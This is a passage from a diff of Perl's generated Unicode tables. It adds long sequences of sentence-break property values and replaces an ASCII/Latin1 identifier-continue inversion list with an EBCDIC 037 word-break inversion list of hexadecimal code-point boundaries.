SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Sp, + SB_Format, + SB_Extend, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_ATerm, + SB_Other, + SB_Sep, + SB_Format, + SB_Sp, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_STerm, + SB_Other, + SB_Sp, + SB_Format, + SB_Other, + SB_Format, + SB_Other, + SB_Lower, + SB_Other, + SB_Close, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_Sp, + SB_SContinue, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_SContinue, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Extend, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_SContinue, + SB_Close, + SB_Other, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_STerm, + SB_Close, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Format, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Lower, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other +}; + +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_PERL_C) -static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ - 1393, /* Number of elements */ +static const UV _Perl_WB_invlist[] = { /* for EBCDIC 037 */ + 1676, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, + 0x5, + 0x6, + 0xB, + 0xD, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x4A, + 0x4B, + 0x4C, + 0x51, + 0x5A, + 0x5E, 0x5F, - 0x60, - 0x61, + 0x62, + 0x6A, + 0x6B, + 0x6C, + 0x6D, + 0x6E, + 0x70, + 0x79, + 0x7A, 0x7B, + 0x7D, + 0x7E, + 0x7F, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xB7, - 0xB8, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, + 0xAC, + 0xAF, + 0xB3, + 0xB4, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFA, + 0xFB, + 0xFF, + 0x100, 0x2C2, 0x2C6, 0x2D2, + 0x2D7, + 0x2D8, 0x2E0, 0x2E5, 0x2EC, @@ -361370,14 +81999,17 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2EE, 0x2EF, 0x300, + 0x370, 0x375, 0x376, 0x378, - 0x37B, + 0x37A, 0x37E, 0x37F, 0x380, 0x386, + 0x387, + 0x388, 0x38B, 0x38C, 0x38D, @@ -361388,7 +82020,6 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x3F7, 0x482, 0x483, - 0x488, 0x48A, 0x530, 0x531, @@ -361397,6 +82028,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x55A, 0x561, 0x588, + 0x589, + 0x58A, 0x591, 0x5BE, 0x5BF, @@ -361411,34 +82044,73 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x5EB, 0x5F0, 0x5F3, + 0x5F4, + 0x5F5, + 0x600, + 0x606, + 0x60C, + 0x60E, 0x610, 0x61B, + 0x61C, + 0x61D, 0x620, + 0x64B, + 0x660, 0x66A, + 0x66B, + 0x66C, + 0x66D, 0x66E, + 0x670, + 0x671, 0x6D4, 0x6D5, + 0x6D6, 0x6DD, + 0x6DE, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, 0x700, + 0x70F, 0x710, + 0x711, + 0x712, + 0x730, 0x74B, 0x74D, + 0x7A6, + 0x7B1, 0x7B2, 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, + 0x7F8, + 0x7F9, 0x7FA, 0x7FB, 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x82E, 0x840, + 0x859, 0x85C, - 0x860, - 0x86B, 0x8A0, 0x8B5, 0x8B6, @@ -361446,10 +82118,19 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x8D4, 0x8E2, 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x964, 0x966, 0x970, 0x971, + 0x981, 0x984, 0x985, 0x98D, @@ -361464,21 +82145,24 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x9B6, 0x9BA, 0x9BC, + 0x9BD, + 0x9BE, 0x9C5, 0x9C7, 0x9C9, 0x9CB, + 0x9CE, 0x9CF, 0x9D7, 0x9D8, 0x9DC, 0x9DE, 0x9DF, + 0x9E2, 0x9E4, 0x9E6, + 0x9F0, 0x9F2, - 0x9FC, - 0x9FD, 0xA01, 0xA04, 0xA05, @@ -361510,6 +82194,9 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xA5E, 0xA5F, 0xA66, + 0xA70, + 0xA72, + 0xA75, 0xA76, 0xA81, 0xA84, @@ -361526,6 +82213,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xAB5, 0xABA, 0xABC, + 0xABD, + 0xABE, 0xAC6, 0xAC7, 0xACA, @@ -361534,11 +82223,12 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xAD0, 0xAD1, 0xAE0, + 0xAE2, 0xAE4, 0xAE6, 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -361554,6 +82244,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xB35, 0xB3A, 0xB3C, + 0xB3D, + 0xB3E, 0xB45, 0xB47, 0xB49, @@ -361564,12 +82256,14 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xB5C, 0xB5E, 0xB5F, + 0xB62, 0xB64, 0xB66, 0xB70, 0xB71, 0xB72, 0xB82, + 0xB83, 0xB84, 0xB85, 0xB8B, @@ -361612,6 +82306,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xC2A, 0xC3A, 0xC3D, + 0xC3E, 0xC45, 0xC46, 0xC49, @@ -361622,10 +82317,12 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xC58, 0xC5B, 0xC60, + 0xC62, 0xC64, 0xC66, 0xC70, 0xC80, + 0xC81, 0xC84, 0xC85, 0xC8D, @@ -361638,6 +82335,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xCB5, 0xCBA, 0xCBC, + 0xCBD, + 0xCBE, 0xCC5, 0xCC6, 0xCC9, @@ -361648,26 +82347,33 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xCDE, 0xCDF, 0xCE0, + 0xCE2, 0xCE4, 0xCE6, 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, 0xD45, 0xD46, 0xD49, 0xD4A, + 0xD4E, 0xD4F, 0xD54, + 0xD57, 0xD58, 0xD5F, + 0xD62, 0xD64, 0xD66, 0xD70, @@ -361697,48 +82403,24 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xDF0, 0xDF2, 0xDF4, - 